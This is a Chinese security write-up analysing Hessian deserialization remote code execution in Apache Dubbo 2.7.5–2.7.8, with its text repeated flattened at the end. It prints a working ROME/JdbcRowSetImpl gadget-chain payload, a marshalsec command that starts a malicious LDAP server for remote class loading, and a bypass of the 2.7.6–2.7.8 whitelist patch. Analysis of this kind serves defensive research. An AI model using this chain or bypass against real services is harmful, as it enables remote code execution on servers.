Dubbo下的Hessian反序列化漏洞分析及问题
字数 1425 2025-08-03 16:48:47

Dubbo下的Hessian反序列化漏洞分析与利用

前言

Apache Dubbo是一款高性能、轻量级的开源Java RPC框架,提供三大核心能力:

  1. 面向接口的远程方法调用
  2. 智能容错和负载均衡
  3. 服务自动注册和发现

Dubbo RPC支持多种序列化方式,包括dubbo序列化、hessian2序列化、kryo序列化、json序列化和java序列化等。本文将重点分析Dubbo中使用Hessian序列化时的反序列化漏洞。

环境配置

测试环境搭建参考:

  • 使用dubbo-spring-boot-project中的2.7.5版本
  • 配置consumer、provider和service接口
  • 参考文章:https://www.anquanke.com/post/id/209251

Hessian反序列化漏洞分析(<=2.7.6版本)

漏洞利用链构造

使用经典的JdbcRowSetImpl链构造payload:

public class DubboAutoConfigurationConsumerBootstrap {

    public static void setFieldValue(Object obj,String name, Object value) throws Exception{
        Field field = obj.getClass().getDeclaredField(name);
        field.setAccessible(true);
        field.set(obj, value);
    }

    public static Object getDoublePayload() throws Exception{
        JdbcRowSetImpl jdbcRowset = new JdbcRowSetImpl();
        String url = "ldap://127.0.0.1:1389/Exploit";
        jdbcRowset.setDataSourceName(url);

        ToStringBean toStringBean = new ToStringBean(JdbcRowSetImpl.class, new ConstantTransformer(1));
        EqualsBean equalsBean = new EqualsBean(ToStringBean.class, toStringBean);

        HashMap<Object, Object> hashMap = new HashMap();
        hashMap.put(equalsBean, "123");
        setFieldValue(toStringBean, "_obj", jdbcRowset);
        return hashMap;
    }

    @Reference(version = "1.0.0", url = "dubbo://127.0.0.1:12345")
    private DemoService demoService;

    @Bean
    public ApplicationRunner runner() throws Exception{
        Object o = getDoublePayload();
        return args -> logger.info(demoService.commonTest(o));
    }
}

在provider端添加接收Object参数的方法:

public String commonTest(Object o) {
    return "s";
}

漏洞触发流程

  1. 启动恶意LDAP服务:

    java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:8000/#Exploit
    
  2. 完整的调用链:

    connect:615, JdbcRowSetImpl (com.sun.rowset)
    getDatabaseMetaData:4004, JdbcRowSetImpl (com.sun.rowset)
    invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
    invoke:62, NativeMethodAccessorImpl (sun.reflect)
    invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
    invoke:498, Method (java.lang.reflect)
    toString:158, ToStringBean (com.rometools.rome.feed.impl)
    toString:129, ToStringBean (com.rometools.rome.feed.impl)
    beanHashCode:198, EqualsBean (com.rometools.rome.feed.impl)
    hashCode:180, EqualsBean (com.rometools.rome.feed.impl)
    hash:339, HashMap (java.util)
    put:612, HashMap (java.util)
    doReadMap:145, MapDeserializer (com.alibaba.com.caucho.hessian.io)
    readMap:126, MapDeserializer (com.alibaba.com.caucho.hessian.io)
    readObject:2703, Hessian2Input (com.alibaba.com.caucho.hessian.io)
    readObject:2278, Hessian2Input (com.alibaba.com.caucho.hessian.io)
    readObject:2080, Hessian2Input (com.alibaba.com.caucho.hessian.io)
    readObject:2074, Hessian2Input (com.alibaba.com.caucho.hessian.io)
    readObject:92, Hessian2ObjectInput (org.apache.dubbo.common.serialize.hessian2)
    decode:139, DecodeableRpcInvocation (org.apache.dubbo.rpc.protocol.dubbo)
    decode:79, DecodeableRpcInvocation (org.apache.dubbo.rpc.protocol.dubbo)
    decode:57, DecodeHandler (org.apache.dubbo.remoting.transport)
    received:44, DecodeHandler (org.apache.dubbo.remoting.transport)
    run:57, ChannelEventRunnable (org.apache.dubbo.remoting.transport.dispatcher)
    runWorker:1149, ThreadPoolExecutor (java.util.concurrent)
    run:624, ThreadPoolExecutor$Worker (java.util.concurrent)
    run:748, Thread (java.lang)
    

关键代码分析

  1. 入口点DecodeHandler#received方法开始解析消息内容
  2. 多层decode调用:经过多次嵌套调用后,使用in.readUTF()获取HessianInput对象
  3. 方法获取:从repo中获取所有service path,并获取consumer调用的方法名(如commonTest)
  4. 反序列化操作:调用HessianObjectInput#readObject方法
  5. Hessian解析:通过tag标识(72表示map)调用readMapdoReadMap方法
  6. 触发点:最终通过HashMap的put方法触发反序列化

二次反序列化利用问题

尝试使用SignedObject进行二次反序列化时失败,原因在于:

  1. Dubbo的JavaDeserializer在反序列化时会先初始化类,再用反序列化数据填充属性
  2. 初始化时使用null填充属性,导致SignedObject无法正常初始化
  3. 与Hessian原生的tfactory问题不同,这是Dubbo特有的封装问题

补丁分析(2.7.6-2.7.8版本)

主要补丁集中在isGenericCallisEcho函数的白名单过滤上:

  1. 对函数名进行白名单过滤
  2. 对函数调用参数进行白名单类型过滤

但实际测试发现,构造的payload数据流并未流经isGenericCall方法,因为:

  1. pts(参数类型数组)在判断前已被赋值:pts = methodDescriptor.getParameterClasses()
  2. 只有当pts == DubboCodec.EMPTY_CLASS_ARRAY时才会进入白名单过滤
  3. 使用Object参数的方法时,pts必然被赋值,不会进入白名单过滤逻辑

结论与参考

  1. Dubbo对Hessian的封装增加了反序列化漏洞利用的复杂性
  2. 某些高级利用链(如二次反序列化)可能因Dubbo的特殊处理而失效
  3. 补丁在特定场景下可能无法完全防护漏洞

参考文章:

  • https://tttang.com/archive/1730/#toc__4
  • https://tttang.com/archive/1747/#toc_
  • https://www.anquanke.com/post/id/209251
Dubbo下的Hessian反序列化漏洞分析与利用 前言 Apache Dubbo是一款高性能、轻量级的开源Java RPC框架,提供三大核心能力: 面向接口的远程方法调用 智能容错和负载均衡 服务自动注册和发现 Dubbo RPC支持多种序列化方式,包括dubbo序列化、hessian2序列化、kryo序列化、json序列化和java序列化等。本文将重点分析Dubbo中使用Hessian序列化时的反序列化漏洞。 环境配置 测试环境搭建参考: 使用dubbo-spring-boot-project中的2.7.5版本 配置consumer、provider和service接口 参考文章:https://www.anquanke.com/post/id/209251 Hessian反序列化漏洞分析( <=2.7.6版本) 漏洞利用链构造 使用经典的JdbcRowSetImpl链构造payload: 在provider端添加接收Object参数的方法: 漏洞触发流程 启动恶意LDAP服务: 完整的调用链: 关键代码分析 入口点 : DecodeHandler#received 方法开始解析消息内容 多层decode调用 :经过多次嵌套调用后,使用 in.readUTF() 获取HessianInput对象 方法获取 :从repo中获取所有service path,并获取consumer调用的方法名(如commonTest) 反序列化操作 :调用 HessianObjectInput#readObject 方法 Hessian解析 :通过tag标识(72表示map)调用 readMap 和 doReadMap 方法 触发点 :最终通过HashMap的put方法触发反序列化 二次反序列化利用问题 尝试使用SignedObject进行二次反序列化时失败,原因在于: Dubbo的 JavaDeserializer 在反序列化时会先初始化类,再用反序列化数据填充属性 初始化时使用null填充属性,导致SignedObject无法正常初始化 与Hessian原生的tfactory问题不同,这是Dubbo特有的封装问题 补丁分析(2.7.6-2.7.8版本) 主要补丁集中在 isGenericCall 和 isEcho 函数的白名单过滤上: 对函数名进行白名单过滤 对函数调用参数进行白名单类型过滤 但实际测试发现,构造的payload数据流并未流经 isGenericCall 方法,因为: pts (参数类型数组)在判断前已被赋值: pts = methodDescriptor.getParameterClasses() 只有当 pts == DubboCodec.EMPTY_CLASS_ARRAY 时才会进入白名单过滤 使用Object参数的方法时, pts 必然被赋值,不会进入白名单过滤逻辑 结论与参考 Dubbo对Hessian的封装增加了反序列化漏洞利用的复杂性 某些高级利用链(如二次反序列化)可能因Dubbo的特殊处理而失效 补丁在特定场景下可能无法完全防护漏洞 参考文章: https://tttang.com/archive/1730/#toc__ 4 https://tttang.com/archive/1747/#toc_ https://www.anquanke.com/post/id/209251